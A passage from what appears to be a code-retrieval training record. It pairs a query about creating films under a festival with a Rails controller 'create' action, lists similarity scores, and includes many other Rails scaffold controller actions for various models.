"def new\n @sofa = Sofa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sofa }\n end\n end",
"def new\n @network = Network.new\n @service = Fileservice.new(@network)\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @network }\n end\n end",
"def new\n @feria2009beneficiario = Feria2009beneficiario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @feria2009beneficiario }\n end\n end",
"def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end",
"def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end",
"def new\n @feria2010beneficiario = Feria2010beneficiario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @feria2010beneficiario }\n end\n end",
"def new\n #@feat = Feat.new\n @feat = @character.feats.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @feat }\n end\n end",
"def new\n @title = \"New Artefact\"\n @artefact = Artefact.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @artefact }\n end\n end",
"def new\n @file_upload = FileUpload.new\n\n respond_to do |wants|\n wants.html # new.html.erb\n wants.xml { render :xml => @file_upload }\n end\n end",
"def new\n @pfs_consultation = PfsConsultation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pfs_consultation }\n end\n end",
"def new\n @friend = Friend.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @friend }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @classroom }\n end\n end",
"def new\n @partenaire = Partenaire.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @partenaire }\n end\n end",
"def new\n @partenaire = Partenaire.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @partenaire }\n end\n end",
"def new\n @tipo_fuente = TipoFuente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tipo_fuente }\n end\n end",
"def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @movie }\n end\n end",
"def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @movie }\n end\n end",
"def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @movie }\n end\n end",
"def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @movie }\n end\n end",
"def new\n @crew = Crew.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @crew }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @vip_programmer_training }\n end\n end",
"def new\n @phot = Phot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @phot }\n end\n end",
"def new\n @flaw = Flaw.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @flaw }\n end\n end",
"def new\n @picwall = Picwall.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @picwall }\n end\n end",
"def new\n @swf = Swf.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @swf }\n end\n end",
"def new \n @finger = Finger.new\n @finger.user = current_user\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @finger }\n end\n end",
"def new\n @folha_folha = Folha::Folha.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @folha_folha }\n end\n end"
] |
[
"0.70557725",
"0.6827975",
"0.664286",
"0.66235065",
"0.65458953",
"0.6537541",
"0.64939666",
"0.64841455",
"0.64806056",
"0.6450843",
"0.6450843",
"0.64481574",
"0.6440349",
"0.64398605",
"0.6430357",
"0.641874",
"0.64111334",
"0.64075786",
"0.640542",
"0.6377793",
"0.63506156",
"0.633978",
"0.6323689",
"0.63148856",
"0.6284892",
"0.6284892",
"0.624878",
"0.62422806",
"0.6235422",
"0.62306786",
"0.6215938",
"0.62128663",
"0.6207117",
"0.6159123",
"0.6151013",
"0.6149219",
"0.6144704",
"0.61412585",
"0.61412585",
"0.61391276",
"0.61302495",
"0.6117206",
"0.6115396",
"0.6092861",
"0.60817826",
"0.60676575",
"0.6064742",
"0.60596496",
"0.6053346",
"0.6048128",
"0.6043376",
"0.6040006",
"0.60349137",
"0.6034082",
"0.60336107",
"0.6028734",
"0.60210747",
"0.6016484",
"0.60154504",
"0.60069454",
"0.60040635",
"0.60035676",
"0.6000252",
"0.59934527",
"0.5992969",
"0.59894264",
"0.59873694",
"0.5982235",
"0.59774834",
"0.5974191",
"0.5973898",
"0.5961273",
"0.59596694",
"0.59572357",
"0.59525156",
"0.5952342",
"0.59504294",
"0.59504294",
"0.5949762",
"0.5946206",
"0.5944837",
"0.594431",
"0.5942663",
"0.5940396",
"0.59402955",
"0.59397453",
"0.59397453",
"0.5935947",
"0.5935234",
"0.5935234",
"0.5935234",
"0.5935234",
"0.5934665",
"0.5932153",
"0.5932147",
"0.59304637",
"0.59298915",
"0.59275687",
"0.5924337",
"0.5920768"
] |
0.68759835
|
1
|
POST /festivals/1/films POST /festivals/1/films.xml
|
def create
@film = @festival.films.new(params[:film])
@saved = @film.save
respond_to do |format|
format.html { raise NonAjaxEditsNotSupported }
format.js
if @saved
format.xml { render :xml => @film, :status => :created, :location => @film }
else
format.xml { render :xml => @film.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @fam = Fam.new(params[:fam])\n\n respond_to do |format|\n if @fam.save\n flash[:notice] = 'Fam was successfully created.'\n format.html { redirect_to(@fam) }\n format.xml { render :xml => @fam, :status => :created, :location => @fam }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @fam.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @film = @festival.films.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @film }\n end\n end",
"def create\n @perfil = Perfil.new(params[:perfil])\n\n respond_to do |format|\n if @perfil.save\n flash[:notice] = 'Perfil was successfully created.'\n format.html { redirect_to(@perfil) }\n format.xml { render :xml => @perfil, :status => :created, :location => @perfil }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @perfil.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @perfil = Perfil.new(params[:perfil])\n\n respond_to do |format|\n if @perfil.save\n flash[:notice] = 'Perfil was successfully created.'\n format.html { redirect_to(@perfil) }\n format.xml { render :xml => @perfil, :status => :created, :location => @perfil }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @perfil.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @film = @festival.films.new\n \n respond_to do |format|\n format.html { raise NonAjaxEditsNotSupported }\n format.js # new.rjs\n format.xml { render :xml => @film }\n end\n end",
"def create\n \n @festival = Festival.new(params[:festival])\n\n respond_to do |format|\n if @festival.save\n format.html { redirect_to '/admin', notice: 'Festival was successfully created.' }\n else\n format.html { render action: \"new\" }\n end\n end\n \n end",
"def create\n @frat = Frat.new(frat_params)\n\n respond_to do |format|\n if @frat.save\n format.html { redirect_to @frat, notice: 'Frat was successfully created.' }\n format.json { render action: 'show', status: :created, location: @frat }\n else\n format.html { render action: 'new' }\n format.json { render json: @frat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @feat = @person.feats.new(params[:feat])\n\n respond_to do |format|\n if @feat.save\n format.html { redirect_to([@person, @feat], :notice => 'Feat was successfully created.') }\n format.xml { render :xml => @feat, :status => :created, :location => @feat }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @feat.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @pick = current_user.picks.find_by_film_id(params[:film_id],\n :include => { :film => :festival }) ||\n current_user.picks.build(:film_id => params[:film_id])\n @film = @pick.film\n @festival = @film.festival\n check_festival_access\n\n params[:pick] = { params[:attribute].to_sym => nil } if params[:pick].nil?\n @updated = @pick.update_attributes(params[:pick])\n\n respond_to do |format|\n format.js # create.rjs\n if @updated\n format.xml { render :xml => @pick, :status => :created, :location => @pick }\n else\n format.xml { render :xml => @pick.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @filme = Filme.new(filme_params)\n @diretor = Diretor.order('nome')\n @ator = Ator.order('nome')\n\n respond_to do |format|\n if @filme.save\n format.html { redirect_to @filme, notice: 'Um novo filme foi criado com sucesso.' }\n format.json { render json: @filme, status: :created, location: @filme }\n else\n format.html { render action: \"new\" }\n format.json { render json: @filme.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @add_users_to_film = AddUsersToFilm.new(params[:add_users_to_film])\n\n respond_to do |format|\n if @add_users_to_film.save\n format.html { redirect_to(@add_users_to_film, :notice => 'Add users to film was successfully created.') }\n format.xml { render :xml => @add_users_to_film, :status => :created, :location => @add_users_to_film }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @add_users_to_film.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @festival = Festival.create(festival_params)\n if @festival.valid?\n redirect_to @festival\n else\n flash[:errors] = @festival.errors.full_messages\n redirect_to new_festival_path\n end\n\n\n\n # respond_to do |format|\n # if @festival.save\n # format.html { redirect_to @festival, notice: 'Festival was successfully created.' }\n # format.json { render :show, status: :created, location: @festival }\n # else\n # format.html { render :new }\n # format.json { render json: @festival.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def set_festival\n @festival = Festival.find(params[:id])\n end",
"def new\n @fam = Fam.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fam }\n end\n end",
"def create\n @farm = Farm.new(params[:farm])\n\n respond_to do |format|\n if @farm.save\n flash[:notice] = 'Farm was successfully created.'\n format.html { redirect_to(@farm) }\n format.xml { render :xml => @farm, :status => :created, :location => @farm }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @farm.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def parseFilerights(doc, params, path)\n \n fullpath = doc.find_first('//xmpp2rest/user/device/filerights').attributes.get_attribute('fullpath') ? doc.find_first('//xmpp2rest/user/device/filerights').attributes.get_attribute('fullpath').value : nil\n if not fullpath\n raise Exception.new('No fullpath given for changing filerights!')\n end\n \n # Checking if public-element (with: true-value) is given -> public file\n allow_public = doc.find_first('//xmpp2rest/user/device/filerights/public/allow') ? true : false\n if allow_public\n params.merge!({\"public\"=>'true'})\n end\n \n \n # Checking if groups are given -> private file\n doc.find('//xmpp2rest/user/device/filerights/groups/group').each do |group_element|\n \n groupname = (group_element.attributes.get_attribute(\"groupname\")) ? group_element.attributes.get_attribute(\"groupname\").value : nil\n if group_element.find_first('allow')\n params.merge!({\"group:#{groupname}\" => '1'})\n elsif group_element.find_first('deny')\n params.merge!({\"group:#{groupname}\" => '0'})\n else\n next\n end\n end\n\n return params, fullpath\n end",
"def new\n @add_users_to_film = AddUsersToFilm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @add_users_to_film }\n end\n end",
"def create\n @fiestum = Fiestum.new(fiestum_params)\n\n respond_to do |format|\n if @fiestum.save\n format.html { redirect_to @fiestum, notice: 'Fiestum was successfully created.' }\n format.json { render :show, status: :created, location: @fiestum }\n else\n format.html { render :new }\n format.json { render json: @fiestum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @fm = Fm.new(fm_params)\n\n respond_to do |format|\n if @fm.save\n format.html { redirect_to @fm, notice: 'Fm was successfully created.' }\n format.json { render :show, status: :created, location: @fm }\n else\n format.html { render :new }\n format.json { render json: @fm.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @famille = Famille.new(famille_params)\n\n respond_to do |format|\n if @famille.save\n format.html { redirect_to @famille, notice: 'Famille was successfully created.' }\n format.json { render :show, status: :created, location: @famille }\n\t else\n format.html { render :new }\n end\n end\n end",
"def create\n @asociacion_perfil = AsociacionPerfil.new(params[:asociacion_perfil])\n\n respond_to do |format|\n if @asociacion_perfil.save\n flash[:notice] = 'AsociacionPerfil was successfully created.'\n format.html { redirect_to(@asociacion_perfil) }\n format.xml { render :xml => @asociacion_perfil, :status => :created, :location => @asociacion_perfil }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @asociacion_perfil.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @foam = Foam.new(params[:foam])\n\n respond_to do |format|\n if @foam.save\n format.html { redirect_to @foam, notice: 'Foam was successfully created.' }\n format.json { render json: @foam, status: :created, location: @foam }\n else\n format.html { render action: \"new\" }\n format.json { render json: @foam.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @feat = @person.feats.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @feat }\n end\n end",
"def set_filme\n @filme = Filme.find(params[:id])\n end",
"def create\n @fuga = Fuga.new(params[:fuga])\n\n respond_to do |format|\n if @fuga.save\n format.html { redirect_to(@fuga, :notice => 'Fuga was successfully created.') }\n format.xml { render :xml => @fuga, :status => :created, :location => @fuga }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @fuga.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @foyer = Foyer.new(params[:foyer])\n\n respond_to do |format|\n if @foyer.save\n flash[:notice] = 'Le foyer a bien été enregistré.'\n format.html { redirect_to(@foyer) }\n format.xml { render :xml => @foyer, :status => :created, :location => @foyer }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @foyer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n # render text: params\n # render text: params[:film]\n @film = Film.new(film_params)\n # @film.cast_ids = params[:film][:cast_ids] # force to call\n # @film.writer_ids = params[:film][:writer_ids] # methods _ids\n # @film.director_ids = params[:film][:director_ids] # for new records\n # As tres atribuicoes acima sao para forcar a chamada aos respectivos meto-\n # dos que nao estavam sendo chamados quando da criacao de novos filmes.\n\n # render inline: \"<%= @film.production_team.inspect %>\"\n respond_to do |format|\n if @film.save\n format.html { redirect_to @film, notice: 'Filme criado com sucesso.' }\n format.json { render action: 'show', status: :created, location: @film }\n else\n format.html { render action: 'new' }\n format.json { render json: @film.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @film = @festival.films.find(params[:id])\n @updated = @film.update_attributes(params[:film])\n \n respond_to do |format|\n format.html { raise NonAjaxEditsNotSupported }\n format.js # update.rjs\n if @updated\n format.xml { head :ok }\n else\n format.xml { render :xml => @film.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @feria2014jefe = Feria2014jefe.new(params[:feria2014jefe])\n\n respond_to do |format|\n if @feria2014jefe.save\n format.html { redirect_to(@feria2014jefe, :notice => 'Feria2014jefe was successfully created.') }\n format.xml { render :xml => @feria2014jefe, :status => :created, :location => @feria2014jefe }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @feria2014jefe.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n# @fossil = Fossil.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fossil }\n end\n end",
"def create\n respond_to do |format|\n if @franchise.save\n flash[:notice] = 'Franchise was successfully created.'\n format.html { redirect_to(@franchise) }\n format.xml { render :xml => @franchise, :status => :created, :location => @franchise }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @franchise.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_festival\n @festival = Festival.friendly.find(params[:id])\n end",
"def create\n @film = Film.new(film_params)\n\n respond_to do |format|\n if params[:film][:actor_ids] && params[:film][:actor_ids].size > 1\n if @film.save\n format.html { redirect_to @film, notice: 'Film enregistre.' }\n format.json { render action: 'show', status: :created, location: @film }\n else\n @actors = Actor.all\n flash[:error_msg] = \"Une erreur est survenue, merci de reessayer plus tard.\"\n format.html { render action: 'new' }\n format.json { render json: @film.errors, status: :unprocessable_entity }\n end\n else\n @actors = Actor.all\n flash[:error_msg] = \"Merci de selectionner au moins deux acteurs.\"\n format.html { render action: 'new' }\n format.json { render json: @film.errors, status: :unprocessable_entity }\n end\n end\n end",
"def festival_params\n params.require(:festival).permit(:title, :date, :end_date, :content, :image, :image_cache, :image_alt, :image2, :image2_cache, :image2_alt, :video1, :video2, :meta_title, :meta_description, :summary, :snippet)\n end",
"def film_params\n params.require(:film).permit(:title, :premiere, :duration, :description, :search, genre_ids: [], director_ids: [], screenwriter_ids: [], origin_ids: [])\n end",
"def create\n @funder = Funder.new(params[:funder])\n\n respond_to do |format|\n if @funder.save\n format.html { redirect_to(@funder, :notice => 'Funder was successfully created.') }\n format.xml { render :xml => @funder, :status => :created, :location => @funder }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @funder.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @feria2010observacion = Feria2010observacion.new(params[:feria2010observacion])\n\n respond_to do |format|\n if @feria2010observacion.save\n format.html { redirect_to(@feria2010observacion, :notice => 'Feria2010observacion was successfully created.') }\n format.xml { render :xml => @feria2010observacion, :status => :created, :location => @feria2010observacion }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @feria2010observacion.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @familia = Familia.new(params[:familia])\n\n respond_to do |format|\n if @familia.save\n flash[:notice] = 'Familia was successfully created.'\n format.html { redirect_to(@familia) }\n format.xml { render :xml => @familia, :status => :created, :location => @familia }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @familia.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @perfil = Perfil.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @perfil }\n end\n end",
"def new\n @perfil = Perfil.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @perfil }\n end\n end",
"def create\n @firm = Firm.new(params[:firm])\n\n respond_to do |format|\n if @firm.save\n format.html { redirect_to @firm, notice: 'Empresa criada com sucesso.' }\n format.json { render json: @firm, status: :created, location: @firm }\n else\n format.html { render action: \"new\" }\n format.json { render json: @firm.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @favour = Favour.new(favour_params)\n\n respond_to do |format|\n if @favour.save\n format.html { redirect_to @favour, notice: 'Favour was successfully created.' }\n format.json { render :show, status: :created, location: @favour }\n else\n format.html { render :new }\n format.json { render json: @favour.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @family = Family.new(params[:family])\n respond_to do |format|\n if @family.save\n flash[:notice] = 'Family was successfully created.'\n format.html { redirect_to(@family) }\n format.xml { render :xml => @family, :status => :created, :location => @family }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @family.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @frequencia_profissao = Frequencia::Profissao.new(params[:frequencia_profissao])\n\n respond_to do |format|\n if @frequencia_profissao.save\n format.html { redirect_to(@frequencia_profissao, :notice => 'Profissão salva com sucesso.') }\n format.xml { render :xml => @frequencia_profissao, :status => :created, :location => @frequencia_profissao }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @frequencia_profissao.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @family = Family.new(params[:family])\n\n respond_to do |format|\n if @family.save\n flash[:notice] = 'Family was successfully created.'\n format.html { redirect_to(@family) }\n format.xml { render :xml => @family, :status => :created, :location => @family }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @family.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @finger = Finger.new(params[:finger])\n @finger.user = current_user\n \n respond_to do |format|\n if @finger.save\n flash[:notice] = 'Finger was successfully created.'\n format.html { redirect_to(fingers_path) }\n format.xml { render :xml => @finger, :status => :created, :location => @finger }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @finger.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @farmexpense = Farmexpense.new(params[:farmexpense])\n @farmexpense.user_id = session[:s_user_id]\n @farmexpense.farm_id = session[:s_farm_id]\n respond_to do |format|\n if @farmexpense.save\n format.html { redirect_to(:controller => \"farms\", :action => \"edit\", :id => session[:s_farm_id], :notice => 'farm expense was successfully updated.') }\n format.xml { render :xml => @farmexpense, :status => :created, :location => @farmexpense }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @farmexpense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @smurf = Smurf.new(params[:smurf])\n\n respond_to do |format|\n if @smurf.save\n format.html { redirect_to @smurf, notice: 'Smurf was successfully created.' }\n format.json { render json: @smurf, status: :created, location: @smurf }\n else\n format.html { render action: \"new\" }\n format.json { render json: @smurf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @frete = Frete.new(params[:frete])\n\n respond_to do |format|\n if @frete.save\n format.html { redirect_to @frete, notice: 'Frete was successfully created.' }\n format.json { render json: @frete, status: :created, location: @frete }\n else\n format.html { render action: \"new\" }\n format.json { render json: @frete.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @familia = Familia.new(params[:familia])\n\n respond_to do |format|\n if @familia.save\n flash[:notice] = 'Família foi criado(a) com sucesso.'\n format.html { redirect_to(@familia) }\n format.xml { render :xml => @familia, :status => :created, :location => @familia }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @familia.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @firm = Firm.new(firm_params)\n\n respond_to do |format|\n if @firm.save\n format.html { redirect_to @firm, notice: 'Firm was successfully created.' }\n format.json { render :show, status: :created, location: @firm }\n else\n format.html { render :new }\n format.json { render json: @firm.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @film_genre = FilmGenre.new(film_genre_params)\n\n respond_to do |format|\n if @film_genre.save\n format.html { redirect_to @film_genre, notice: 'Film genre was successfully created.' }\n format.json { render :show, status: :created, location: @film_genre }\n else\n format.html { render :new }\n format.json { render json: @film_genre.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @medida = Medida.new(params[:medida])\n\n respond_to do |format|\n if @medida.save\n format.html { redirect_to(@medida, :notice => 'Medida was successfully created.') }\n format.xml { render :xml => @medida, :status => :created, :location => @medida }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @medida.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new #GIRO: POST /foals(.:format) foals#create\n@foal = Foal.new #GIRO: http://localhost:3000/foals/new\nend",
"def create\n @title = t('view.firms.new_title')\n @firm = Firm.new(params[:firm])\n\n respond_to do |format|\n if @firm.save\n format.html { redirect_to @firm, notice: t('view.firms.correctly_created') }\n format.json { render json: @firm, status: :created, location: @firm }\n else\n format.html { render action: 'new' }\n format.json { render json: @firm.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @films = current_user.films.order(\"seen DESC\")\n @new_film = current_user.films.new\n end",
"def new\n @fgroup = Fgroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fgroup }\n end\n end",
"def frat_params\n params.require(:frat).permit(:name, :id)\n end",
"def new\n @farm = Farm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @farm }\n end\n end",
"def new\n @farm = Farm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @farm }\n end\n end",
"def create \n examenes = params[:examenes]\n byebug \n\n if !params[:perfil][:nombre].nil? || !params[:perfil][:nombre].blank?\n @perfil = Perfil.new(perfil_params) \n @perfil.save\n \n respond_to do |format|\n if @perfil.save\n \n examenes.each do |examen|\n @perfil_examenes = PerfilExamene.new\n @perfil_examenes.perfil_id = @perfil.id\n @perfil_examenes.tipo_examen_id = examen\n @perfil_examenes.save\n end \n \n byebug\n\n format.html { redirect_to perfils_path, notice: 'El Perfil fue creado exitosamente' }\n format.json { render json: { :examenes => examen } }\n else\n \n format.html { render :new }\n format.json { render json: { :examenes => examen } }\n end\n end\n else\n \n respond_to do |format| \n format.html { redirect_to perfils_path, notice: 'El Perfil no fue creado correctamente vuelva a intentarlo' }\n format.json { render json: { :examenes => examen } } \n end\n end \n\n end",
"def create\n @films_box = FilmsBox.new(params[:films_box])\n\n respond_to do |format|\n if @films_box.save\n format.html { redirect_to @films_box, notice: 'Films box was successfully created.' }\n format.json { render json: @films_box, status: :created, location: @films_box }\n else\n format.html { render action: \"new\" }\n format.json { render json: @films_box.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @fostered = Fostered.new(fostered_params)\n\n respond_to do |format|\n if @fostered.save\n format.html { redirect_to @fostered, notice: 'Fostered was successfully created.' }\n format.json { render action: 'show', status: :created, location: @fostered }\n else\n format.html { render action: 'new' }\n format.json { render json: @fostered.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @frbr_manifestation = FrbrManifestation.new(params[:frbr_manifestation])\n\n respond_to do |format|\n if @frbr_manifestation.save\n format.html { redirect_to @frbr_manifestation, notice: 'Frbr manifestation was successfully created.' }\n format.json { render json: @frbr_manifestation, status: :created, location: @frbr_manifestation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @frbr_manifestation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @funder = Funder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @funder }\n end\n end",
"def create\n @farm = Farm.new(farm_params)\n\n respond_to do |format|\n if @farm.save\n format.html { redirect_to @farm, notice: '農家登録が完了しました。' }\n format.json { render :show, status: :created, location: @farm }\n else\n format.html { render :new }\n format.json { render json: @farm.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # @frind = Frind.new(frind_params)\n @frind = current_user.frinds.build(frind_params)\n respond_to do |format|\n if @frind.save\n format.html { redirect_to @frind, notice: 'Frind was successfully created.' }\n format.json { render :show, status: :created, location: @frind }\n else\n format.html { render :new }\n format.json { render json: @frind.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @firearm = Firearm.new(params[:firearm])\n\n respond_to do |format|\n if @firearm.save\n format.html { redirect_to(@firearm, :notice => 'Firearm was successfully created.') }\n format.xml { render :xml => @firearm, :status => :created, :location => @firearm }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @firearm.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @fam = Fam.find(params[:id])\n\n respond_to do |format|\n if @fam.update_attributes(params[:fam])\n flash[:notice] = 'Fam was successfully updated.'\n format.html { redirect_to(@fam) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @fam.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @feria2009calificacion = Feria2009calificacion.new(params[:feria2009calificacion])\n\n respond_to do |format|\n if @feria2009calificacion.save\n format.html { redirect_to(@feria2009calificacion, :notice => 'Feria2009calificacion was successfully created.') }\n format.xml { render :xml => @feria2009calificacion, :status => :created, :location => @feria2009calificacion }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @feria2009calificacion.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @foil = Foil.new(params[:foil])\n\n respond_to do |format|\n if @foil.save\n format.html { redirect_to @foil, notice: 'Foil was successfully created.' }\n format.json { render json: @foil, status: :created, location: @foil }\n else\n format.html { render action: \"new\" }\n format.json { render json: @foil.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @foyer = Foyer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @foyer }\n end\n end",
"def create\n @resultadoconsultum = Resultadoconsultum.new(resultadoconsultum_params)\n\t\n\n\trequire 'nokogiri'\n\t\n\t@doc = Nokogiri::XML(File.open(\"exemplos/emplo.xml\"))\n\n\tcar_tires = @doc.xpath(\"//firstname\")\n\t\n\tdoc = Nokogiri::XML(File.open(\"emplo.xml\"))\n\tdoc.xpath('firstname').each do\n\t\tcar_tires\n\tend\n\n\t \n respond_to do |format|\n if @resultadoconsultum.save\n format.html { redirect_to @resultadoconsultum, notice: car_tires }\n format.json { render :show, status: :created, location: @resultadoconsultum }\n else\n format.html { render :new }\n format.json { render json: @resultadoconsultum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @patrimonio = Patrimonio.new(params[:patrimonio])\n\n respond_to do |format|\n if @patrimonio.save\n flash[:notice] = 'Patrimonio criado com sucesso.'\n format.html { redirect_to(@patrimonio) }\n format.xml { render :xml => @patrimonio, :status => :created, :location => @patrimonio }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @patrimonio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @flair = Flair.new(flair_params)\n\n respond_to do |format|\n if @flair.save\n format.html { redirect_to @flair, notice: 'Flair was successfully created.' }\n format.json { render :show, status: :created, location: @flair }\n else\n format.html { render :new }\n format.json { render json: @flair.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @faction = Faction.new(params[:faction])\n\n respond_to do |format|\n if @faction.save\n format.html { redirect_to admin_factions_url, notice: 'Faction was successfully created.' }\n format.json { render json: @faction, status: :created, location: @faction }\n else\n format.html { render action: \"new\" }\n format.json { render json: @faction.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @fat = Fat.new(fat_params)\n\n respond_to do |format|\n if @fat.save\n format.html { redirect_to @fat, notice: 'Fat was successfully created.' }\n format.json { render :show, status: :created, location: @fat }\n else\n format.html { render :new }\n format.json { render json: @fat.errors, status: :unprocessable_entity }\n end\n end\n end",
